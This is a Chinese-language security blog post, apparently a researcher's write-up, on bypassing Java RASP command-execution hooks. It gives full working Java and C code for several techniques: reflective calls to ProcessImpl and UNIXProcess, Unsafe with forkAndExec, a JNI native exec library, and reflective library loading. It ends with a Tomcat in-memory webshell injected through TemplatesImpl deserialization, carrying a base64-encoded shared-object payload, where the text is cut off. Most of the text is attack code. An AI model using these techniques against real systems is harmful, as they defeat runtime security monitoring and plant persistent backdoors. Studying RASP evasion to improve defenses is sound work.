tabby & codeQL分析含依赖JAR包

RASP绕过

rasp从0到1：https://godownio.github.io/2024/12/30/rasp-de-fang

哎呀，搞这个钻牛角尖，刷kali windows双系统想用丝滑idea，结果librt.so库没有，连Ruijie都用不了我草。

环境

这里配合RASP的环境，用agentmain或者premain都可以。这里就选现在比较实用的agentmain去attach

新建一个BypassRASP项目，删掉src目录，然后新建一个exploit模块

目录结构

exploit模块pom.xml：

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>cn.org.javaweb</groupId>
        <artifactId>BypassRASP</artifactId>
        <version>1.0-SNAPSHOT</version>
    </parent>

    <artifactId>exploit</artifactId>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.sun</groupId>
            <artifactId>tools</artifactId>
            <systemPath>${project.basedir}/lib/tools.jar</systemPath>
            <version>1.8</version>
            <scope>system</scope>
        </dependency>
        <dependency>
            <groupId>org.ow2.asm</groupId>
            <artifactId>asm-all</artifactId>
            <version>5.1</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.2</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
            <scope>provided</scope>
        </dependency>

    </dependencies>

    <build>
        <finalName>agent</finalName>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.6</source>
                    <target>1.6</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>2.3.2</version>
                <configuration>
                    <archive>
                        <manifestFile>src/main/resources/MANIFEST.MF</manifestFile>
                    </archive>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>2.3</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <artifactSet>
                                <includes>
                                    <include>commons-io:commons-io:jar:*</include>
                                    <include>org.ow2.asm:asm-all:jar:*</include>
                                </includes>
                            </artifactSet>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>2.21.0</version>
                <configuration>
                    <skipTests>true</skipTests>
                </configuration>
            </plugin>
        </plugins>
    </build>


</project>

配置一个maven打包：

resources/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.bypass.exploit.agent.CustomClassTransformer
Can-Retransform-Classes: true
Can-Redefine-Classes: true
Can-Set-Native-Method-Prefix: true

一个辅助类MethodHookDesc：

package com.bypass.exploit.agent;

public class MethodHookDesc {
    private String hookClassName;
    private String hookMethodName;
    private String hookMethodArgTypeDesc;

    public MethodHookDesc(String hookClassName, String hookMethodName, String hookMethodArgTypeDesc) {
        this.hookClassName = hookClassName;
        this.hookMethodName = hookMethodName;
        this.hookMethodArgTypeDesc = hookMethodArgTypeDesc;
    }

    public String getHookClassName() {
        return hookClassName;
    }

    public void setHookClassName(String hookClassName) {
        this.hookClassName = hookClassName;
    }

    public String getHookMethodName() {
        return hookMethodName;
    }

    public void setHookMethodName(String hookMethodName) {
        this.hookMethodName = hookMethodName;
    }

    public String getHookMethodArgTypeDesc() {
        return hookMethodArgTypeDesc;
    }

    public void setHookMethodArgTypeDesc(String hookMethodArgTypeDesc) {
        this.hookMethodArgTypeDesc = hookMethodArgTypeDesc;
    }
}

agent类 CustomClassTransformer：

package com.bypass.exploit.agent;

import org.objectweb.asm.*;
import sun.management.Agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;

import static org.objectweb.asm.Opcodes.ASM5;

public class CustomClassTransformer implements ClassFileTransformer {
    private Instrumentation inst;
    private static List<MethodHookDesc> expClassList = new ArrayList<MethodHookDesc>();

    static {
        expClassList.add(new MethodHookDesc("java.lang.ProcessBuilder", "start",
                "()Ljava/lang/Process;"));
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        final String class_name = className.replace("/", ".");

        for (final MethodHookDesc methodHookDesc : expClassList) {
            if (methodHookDesc.getHookClassName().equals(class_name)) {
                final ClassReader classReader = new ClassReader(classfileBuffer);
                ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);
                final int api = ASM5;

                try {
                    ClassVisitor classVisitor = new ClassVisitor(api, classWriter) {
                        @Override
                        public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
                            final MethodVisitor methodVisitor = super.visitMethod(i, s, s1, s2, strings);

                            if (methodHookDesc.getHookMethodName().equals(s) && methodHookDesc.getHookMethodArgTypeDesc().equals(s1)) {
                                return new MethodVisitor(api, methodVisitor) {
                                    @Override
                                    public void visitCode() {
                                        super.visitCode();
                                        // 插入打印 "break!attack!" 的字节码
                                        methodVisitor.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
                                        methodVisitor.visitLdcInsn("break!attack!");
                                        methodVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
                                        //抛出异常
                                        methodVisitor.visitTypeInsn(Opcodes.NEW, "java/lang/RuntimeException");
                                        methodVisitor.visitInsn(Opcodes.DUP);
                                        methodVisitor.visitLdcInsn("ProcessBuilder.start() is blocked by RASP");
                                        methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/RuntimeException", "<init>", "(Ljava/lang/String;)V", false);
                                        methodVisitor.visitInsn(Opcodes.ATHROW);

                                    }
                                };
                            }
                            return methodVisitor;
                        }
                    };
                    classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);
                    classfileBuffer = classWriter.toByteArray();
                }catch (Throwable t) {
                    t.printStackTrace();
                }
            }
        }
        return classfileBuffer;
    }
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
//        for (Class clazz : inst.getAllLoadedClasses()) {
//            System.out.println(clazz.getName());
//        }
        inst.addTransformer(new CustomClassTransformer(),true);
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class clazz : loadedClasses) {
            if ("java.lang.Runtime".equals(clazz.getName())) {
                if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {
                    inst.retransformClasses(clazz);
                }
            }
        }
    }
}

该类hook了java.lang.ProcessBuilder#start()，因为参数为空，返回类型为Process，所以methodArgDesc填()Ljava/lang/Process;

先是进入agentmain，如果已加载的类包括Runtime，则调用retransformClasses修改类

然后在visitCode中如果匹配到了黑名单类，则输出break!attack!并中断抛出异常。

具体的字节码操作细节见https://godownio.github.io/2024/12/30/rasp-de-fang/#case3

执行上面配置好的maven打包后，target下有agent.jar

Attachit_execinRun类：

package com.bypass.exploit.agent;

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;


public class Attachit_execinRun {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            if (vmd.displayName().endsWith("Attachit_execinRun")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("E:\\CODE_COLLECT\\Idea_java_ProTest\\BypassRASP\\exploit\\target\\agent.jar", "Attach!");
                System.out.println("ok");
                Runtime.getRuntime().exec("calc");
                virtualMachine.detach();
            }
        }
    }
}

该类attach了agent.jar到Attachit_execinRun JVM实例，并执行Runtime.exec(“calc”)

UNIXProcess/ProcessImpl绕过

下面是一个在windows上调用Runtime.exec()的链图，可以发现Runtime.exec()是调用了一整个链子，直到ProcessImpl.create或者UNIXProcess.forkAndExec才脱离JVM的范畴执行native方法

而一些RASP过滤不严（比如上面我们写的case），只是单纯地过滤到了ProcessImpl.start()或者之前。

那么可以直接反射调用start()后面的方法进行绕过。

Windows 下跟进到 java.lang.ProcessImpl#<init>，也就是其构造函数，调用了ProcessImpl.create，而这个方法是个native方法

在linux下，跟进Runtime，并没有调用到java.lang.ProcessImpl#<init>，而是调用的java.lang.UNIXProcess#<init>，然后在这个构造函数内调用UNIXProcess.forkAndExec

如果目标机RASP过滤的ProcessImpl.start()，在windows可以采用反射调用ProcessImpl#<init>，在linux反射调用UNIXProcess#<init>

Windows绕start

反射调ProcessImpl的构造函数就完了。

public static void main(String[] args) throws Exception {
    Class processImpl = Class.forName("java.lang.ProcessImpl");
    //    new ProcessImpl(cmdarray, envblock, dir,
    //                                   stdHandles, redirectErrorStream);
    Constructor constructor = processImpl.getDeclaredConstructor(String[].class, String.class, String.class, long[].class, boolean.class);
    constructor.setAccessible(true);
    constructor.newInstance(new String[]{"calc"},null,null,new long[]{1364,1368,1376},false);
}

想试效果的自己改下RASP黑名单即可

Linux绕start

反射调UNIXProcess构造函数即可

ProcessImpl.start看下参数怎么构造的，分离出来就行了

package com.bypass.exploit;

import sun.misc.JavaIOFileDescriptorAccess;
import sun.misc.SharedSecrets;
import java.lang.reflect.Constructor;

public class UNIXProcess_reflectinit {
    private static final JavaIOFileDescriptorAccess fdAccess = SharedSecrets.getJavaIOFileDescriptorAccess();
    public static void main(String[] args) throws Exception {
        Class unixProcess = Class.forName("java.lang.UNIXProcess");
        //    UNIXProcess(byte[] var1, byte[] var2, int var3, byte[] var4, int var5, byte[] var6, int[] var7, boolean var8)
        Constructor constructor = unixProcess.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class, int.class,byte[].class,int[].class,boolean.class);
        constructor.setAccessible(true);

        String[] var0 = new String[]{"/bin/bash","-c","mousepad"};
        assert var0 != null && var0.length > 0;

        byte[][] var5 = new byte[var0.length - 1][];
        int var6 = var5.length;

        for(int var7 = 0; var7 < var5.length; ++var7) {
            var5[var7] = var0[var7 + 1].getBytes();
            var6 += var5[var7].length;
        }
        byte[] var70 = new byte[var6];
        int var8 = 0;
        for(byte[] var12 : var5) {
            System.arraycopy(var12, 0, var70, var8, var12.length);
            var8 += var12.length + 1;
        }
        int[] var71 = new int[1];
        //var15 = new UNIXProcess(toCString(var0[0]), var70, var5.length, var72, var71[0], toCString(var2), var73, var4);
        constructor.newInstance(toCString(var0[0]), var70, var5.length, null, var71[0], toCString(null), new int[]{-1,-1,-1}, false);
    }
    private static byte[] toCString(String var0) {
        if (var0 == null) {
            return null;
        } else {
            byte[] var1 = var0.getBytes();
            byte[] var2 = new byte[var1.length + 1];
            System.arraycopy(var1, 0, var2, 0, var1.length);
            var2[var2.length - 1] = 0;
            return var2;
        }
    }
}

集成

知道你们懒，直接把上面两个集成到一个code里

package com.bypass.exploit;

import sun.misc.JavaIOFileDescriptorAccess;
import sun.misc.SharedSecrets;

import java.lang.reflect.Constructor;

public class Bypass_start {
    private static final JavaIOFileDescriptorAccess fdAccess = SharedSecrets.getJavaIOFileDescriptorAccess();
    public static void main(String[] args) throws Exception {
        Class unixProcess = null;
        String[] cmd = new String[]{"calc"};
        //String[] cmd = new String[]{"/bin/bash","-c","mousepad"};
        //创建类
        try {
            unixProcess = Class.forName("java.lang.UNIXProcess");
            //    UNIXProcess(byte[] var1, byte[] var2, int var3, byte[] var4, int var5, byte[] var6, int[] var7, boolean var8)
            Constructor constructor = unixProcess.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class, int.class,byte[].class,int[].class,boolean.class);
            constructor.setAccessible(true);

            assert cmd != null && cmd.length > 0;

            byte[][] var5 = new byte[cmd.length - 1][];
            int var6 = var5.length;

            for(int var7 = 0; var7 < var5.length; ++var7) {
                var5[var7] = cmd[var7 + 1].getBytes();
                var6 += var5[var7].length;
            }
            byte[] var70 = new byte[var6];
            int var8 = 0;
            for(byte[] var12 : var5) {
                System.arraycopy(var12, 0, var70, var8, var12.length);
                var8 += var12.length + 1;
            }
            int[] var71 = new int[1];
            //var15 = new UNIXProcess(toCString(var0[0]), var70, var5.length, var72, var71[0], toCString(var2), var73, var4);
            constructor.newInstance(toCString(cmd[0]), var70, var5.length, null, var71[0], toCString(null), new int[]{-1,-1,-1}, false);
        } catch (ClassNotFoundException e) {
            Class processImpl = Class.forName("java.lang.ProcessImpl");
            Constructor constructor = processImpl.getDeclaredConstructor(String[].class, String.class, String.class, long[].class, boolean.class);
            constructor.setAccessible(true);
            constructor.newInstance(cmd,null,null,new long[]{1364,1368,1376},false);
        }
    }
    private static byte[] toCString(String var0) {
        if (var0 == null) {
            return null;
        } else {
            byte[] var1 = var0.getBytes();
            byte[] var2 = new byte[var1.length + 1];
            System.arraycopy(var1, 0, var2, 0, var1.length);
            var2[var2.length - 1] = 0;
            return var2;
        }
    }
}

forkAndExec绕过

一般来说RASP技术（OpenRASP）都会hook UNIXProcess/ProcessImpl 类来实现对命令执行函数的的监控，因为这里是Java层最底层的类，也是Java层监控的极限，但是在linux攻击者可以反射调用forkAndExec这个native方法或者利用JNI来调用一个自己实现命令执行函数的动态链接库进行利用。

windows的我就不写了，基本没有windows的场景能打

forkAndExec的参数如下

可以分析一下参数都是哪来的

首先是launchMechanism，在static块被赋值为platform.launchMechanism()

然后platform是UNIXProcess.Platform.get()

就是个取系统信息的函数

然后是launchMechanism，取系统语言的，一般linux情况下也是个很固定的return

所以也是直接取固定的3传进去

然后是helperPath，static块初始化

这个根据不同linux系统都不一样，只能反射取了

但是由于UNIXProcess的构造函数被ban掉了，该怎么反射？如果Unsafe没被过滤掉，可以直接用Unsafe.allocateInstance() 来创建对象，而不调用其构造方法

给一个对应的方法

private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception {
    Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
    unsafeField.setAccessible(true);
    return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass);
}

那launchMechanism也顺便反射取了

poc：

package com.bypass.exploit;

import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Bypass_UNIXProcess {
    public static void main(String[] args) throws Exception {
//        String[] cmd = new String[]{"calc"};
        String[] cmd = new String[]{"/bin/bash","-c","mousepad"};
        //创建类
        try {
            Class unixProcessClass = Class.forName("java.lang.UNIXProcess");
            //    UNIXProcess(byte[] var1, byte[] var2, int var3, byte[] var4, int var5, byte[] var6, int[] var7, boolean var8)
            Object unixProcess = unsafe_getObject(unixProcessClass);

            assert cmd != null && cmd.length > 0;

            byte[][] var5 = new byte[cmd.length - 1][];
            int var6 = var5.length;

            for(int var7 = 0; var7 < var5.length; ++var7) {
                var5[var7] = cmd[var7 + 1].getBytes();
                var6 += var5[var7].length;
            }
            byte[] var70 = new byte[var6];
            int var8 = 0;
            for(byte[] var12 : var5) {
                System.arraycopy(var12, 0, var70, var8, var12.length);
                var8 += var12.length + 1;
            }
            int[] var71 = new int[1];
            //var15 = new UNIXProcess(toCString(var0[0]), var70, var5.length, var72, var71[0], toCString(var2), var73, var4);
            Field launchMechanismField = unixProcessClass.getDeclaredField("launchMechanism");
            Field helperpathField      = unixProcessClass.getDeclaredField("helperpath");
            launchMechanismField.setAccessible(true);
            helperpathField.setAccessible(true);
            //从UNIXProcess中得到launchMechanism和Helperpath
            Object launchMechanismObject = launchMechanismField.get(unixProcess);
            byte[] helperpathObject      = (byte[]) helperpathField.get(unixProcess);
            int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
            //反射forkAndExec方法
            Method forkMethod = unixProcessClass.getDeclaredMethod("forkAndExec", new Class[]{
                    int.class, byte[].class, byte[].class, byte[].class, int.class,
                    byte[].class, int.class, byte[].class, int[].class, boolean.class
            });
            forkMethod.setAccessible(true);
            forkMethod.invoke(unixProcess, new Object[]{
                    ordinal + 1, helperpathObject, toCString(cmd[0]), var70, var5.length, null, var71[0], toCString(null), new int[]{-1,-1,-1}, false});
        } catch (ClassNotFoundException e) {
            Class processImpl = Class.forName("java.lang.ProcessImpl");
            Constructor constructor = processImpl.getDeclaredConstructor(String[].class, String.class, String.class, long[].class, boolean.class);
            constructor.setAccessible(true);
            constructor.newInstance(cmd,null,null,new long[]{1364,1368,1376},false);
        }
    }
    private static byte[] toCString(String var0) {
        if (var0 == null) {
            return null;
        } else {
            byte[] var1 = var0.getBytes();
            byte[] var2 = new byte[var1.length + 1];
            System.arraycopy(var1, 0, var2, 0, var1.length);
            var2[var2.length - 1] = 0;
            return var2;
        }
    }

    private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception {
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass);
    }
}

不过Unsafe在很多情况下都被过滤了，所以网上大概率流传的都是上面UNIXProcess.<init>的版本

JNI

这个绕过利用场景就很小了，具体就是本地编译一个so(linux)或dll(windows)去自创一个native方法，上传。然后还要有一个执行java代码的地方，调用System.LoadLibrary加载native方法然后执行。如果有java rce的点，上面的上传可以直接用java代码去实现

我认为就算有这种场景，也不一定非要JNI去打

一个是假如目标出网，用msf可以直接传马，然后LoadLibrary直接弹回msf shell了，我在之前的《java加载动态链接库绕过RASP的一些思考》也提到过

https://godownio.github.io/2024/12/04/java-jia-zai-dong-tai-lian-jie-ku/#CC%E5%86%99%E6%96%87%E4%BB%B6%E6%90%AD%E9%85%8D%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BDdll

假如目标不出网，那只能调native方法，读返回值然后搭配内存马再回显。

因为不会写C的原因，这段只能copy nice0e3和admin-神风的代码了

首先创建一个有native方法的类：

package com.bypass.exploit.JNI;

public class Command {
    public native String exec(String cmd);
}

jdk<10用javah生成.h文件，jdk>=10用javac的-h参数

javah -cp . com.bypass.exploit.JNI.Command com.bypass.exploit.JNI.Command
javac -cp . ./com/bypass/exploit/JNI/Command.java -h com.bypass.exploit.JNI.Command

生成的.h文件如下

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_bypass_exploit_JNI_Command */

#ifndef _Included_com_bypass_exploit_JNI_Command
#define _Included_com_bypass_exploit_JNI_Command
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     com_bypass_exploit_JNI_Command
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_com_bypass_exploit_JNI_Command_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

jni.h在官网能翻到，想自己写下一步的c可以康康

https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/javavm/export/jni.h

然后是编写exec的代码，注意修改函数方法名和include .h文件名为你自己的包全限定。Command.c：

#include "com_bypass_exploit_JNI_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = _popen(cmd, "r"); //打开管道，并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_bypass_exploit_JNI_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

接着是编译，注意指向自己本地javahome/include，windows编译dll如下：

gcc -I "D:\jdk-all\jdk_8u_121\include" -I "D:\jdk-all\jdk_8u_121\include\win32" -shared -o cmd.dll .\Command.c

linux 编译so如下：

gcc -I "/home/kali/Desktop/jdk-8u191-linux-x64/jdk1.8.0_191/include" \
    -I "/home/kali/Desktop/jdk-8u191-linux-x64/jdk1.8.0_191/include/linux" \
    -fPIC -shared -o cmd.so ./Command.c

linux下需要删去Command.c下 popen pclose的下划线

用System.load去加载，注意System.loadLibrary只能加载java lib home下的动态链接库

public class test {

    public static void main(String[] args) {

        System.load("/root/IdeaProjects/BypassRASP/exploit/src/cmd.so");
        Command command = new Command();
        String ipconfig = command.exec("/bin/sh -c mousepad");
        System.out.println(ipconfig);
    }
}

如果目标过滤了System.load，还可以用以下方式绕过：

详情请见：《java加载动态链接库绕过RASP的一些思考》

https://godownio.github.io/2024/12/04/java-jia-zai-dong-tai-lian-jie-ku/#NativeLibLoader

• 反射调用ClassLoader#loadLibrary

public class loadLibraryToDLL {
    public static void main(String[] args) throws Exception{
        try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, "E:\\xxxx.dll", true);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

• 反射调用NativeLibrary#load (仍会经过System.load)

public static void main(String[] args) throws Exception{
    try {
        String file = "E:\\\\CODE_COLLECT\\\\Idea_java_ProTest\\\\my-yso\\\\src\\\\main\\\\java\\\\org\\\\exploit\\\\loadDLL\\\\calc_x64.dll";
        Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
        Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
        con.setAccessible(true);
        Object obj = con.newInstance(Class.class,file,true);
        Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
        method.setAccessible(true);
        method.invoke(obj, file, false);
    }catch (Exception e){
        e.printStackTrace();
    }
}

在《java加载动态链接库绕过RASP的一些思考》中CC写动态链接库然后加载，当时并没有介绍无回显下的利用方式，只是简单做了个弹计算器的demo

现在可以进一步的利用，就用TemplatesImpl 任意JAVA RCE做个demo：

• 写动态链接库文件到临时目录，这样确保知道路径
• ClassLoader#loadLibrary反射加载动态链接库，RCE后读取命令管道的结果，任选一个内存马持久化（此处选用Tomcat 8，9，10版本的通用内存马），把结果写到其中回显

以上实现RCE注入JNI内存马

将上面编译的so转成base64： cat cmd.so | base64 -w 0

需要注意的几个点：

1. 目标机是mac，就要在mac上编译获取base64；其他同理

2. 因为在JNIMemShell内存马里写的native exec，所以制作so文件要直接用JNIMemShell（与后面的内存马全限定名全部一致）

package org.example.tomcatmemshell.JNI;

public class JNIMemShell {
    public static native String exec(String cmd);
}

javah -cp . org.example.tomcatmemshell.JNI.JNIMemShell org.example.tomcatmemshell.JNI.JNIMemShell

#include "org_example_tomcatmemshell_JNI_JNIMemShell.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道，并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_example_tomcatmemshell_JNI_JNIMemShell_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved){
    return JNI_VERSION_1_4; //这里很重要，必须返回版本，否则加载会失败。
}

gcc -I "/home/kali/Desktop/jdk-8u191-linux-x64/jdk1.8.0_191/include" \
    -I "/home/kali/Desktop/jdk-8u191-linux-x64/jdk1.8.0_191/include/linux" \
    -fPIC -shared -o cmd.so ./JNIMemShell.c

cat cmd.so | base64 -w 0

在反序列化注入JNI内存马时发现，在Tomcat下，如果每次都打一个TemplatesImpl类进去，那么每次都会new一个TemplatesImpl，而Tomcat下加载TemplatesImpl类用的是TemplatesImpl$TransletClassLoader，那么每次请求对应的ClassLoader都不一样。又因为加载的动态链接库是通过ClassLoader去加载的，导致除了第一次打进去的ClassLoader能用native函数，后续所有请求都会报UnsatisfiedLinkError错误

而用映射型就更不用说了，如果你创建一个servlet，那其classLoader必定和打入的TemplatesImpl$TransletClassLoader不同。也就是说只能用通用型回显，不能去创建另一个url-pattern映射。

又因为动态链接库只能被一个ClassLoader加载，如果被不同的ClassLoader加载，则会报already be loaded by another loader

综上就是，内存马回显的形式，用JNI的方式只能打一次，一次即失效。这一切都是Tomcat打破双亲委派带来的锅

如果能找到在Tomcat下调用AppClassLoader去加载动态链接库，则能做到全局可用。可是我的确没找到一个好的办法，反射调用ClassLoader.loadLibary时指定var0.getClassLoader也没找到合适的var0

回显一次的集成POC：

package org.example.tomcatmemshell.JNI;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.example.tomcatmemshell.servlet.ServletMemShell;

import javax.servlet.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Enumeration;

//JNI shell ，但是只能回显一次
public class JNIMemShell extends AbstractTranslet{
    public static StringBuilder jniCodes = new StringBuilder();
    public static String filename = "slib.dll"; //windows        filename = "slib.so";//linux
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    static {
        try{
            //linux jniCodes
//            jniCodes.append("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAcAAAAAAABAAAAAAAAAAHgZAAAAAAAAAAAAAEAAOAAHAEAAHAAbAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAsAAAAAAAA8CwAAAAAAAAAAIAAAAAAAAQAAAAYAAAAQDgAAAAAAABAOIAAAAAAAEA4gAAAAAABQAgAAAAAAAFgCAAAAAAAAAAAgAAAAAAACAAAABgAAACAOAAAAAAAAIA4gAAAAAAAgDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB0CgAAAAAAAHQKAAAAAAAAdAoAAAAAAAAsAAAAAAAAACwAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAAEA4AAAAAAAAQDiAAAAAAABAOIAAAAAAA8AEAAAAAAADwAQAAAAAAAAEAAAAAAAAABAAAABQAAAADAAAAR05VAACFfIwN5N6fVyx7ddGNvLENXbzFAAAAAAMAAAAMAAAAAQAAAAYAAACIwCQJAARADQwAAAAPAAAAEgAAAEJF1eyaniz8u+OSfNJwr7/YcVgcuY3xDuvT7w4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAIAAAAAAAAAAAAAAAAAAAAAAAAACHAAAAEgAAAAAAAAAAAAAAAAAAAAAAAACAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAADNAAAAEgAAAAAAAAAAAAAAAAAAAAAAAABuAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAB7AAAAEgAAAAAAAAAAAAAAAAAAAAAAAAABAAAAIAAAAAAAAAAAAAAAAAAAAAAAAABoAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAB0AAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAIAAAAAAAAAAAAAAAAAAAAAAAAABSAAAAIgAAAAAAAAAAAAAAAAAAAAAAAADeAAAAEAAWAGAQIAAAAAAAAAAAAAAAAABhAAAAEgAMAFoIAAAAAAAAzAAAAAAAAADxAAAAEAAXAGgQIAAAAAAAAAAAAAAAAACYAAAAEgAMACYJAAAAAAAAQQEAAAAAAADlAAAAEAAXAGAQIAAAAAAAAAAAAAAAAAAQAAAAEgAJAMgGAAAAAAAAAAAAAAAAAAAWAAAAEgANAGgKAAAAAAAAAAAAAAAAAAAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX0lUTV9kZXJl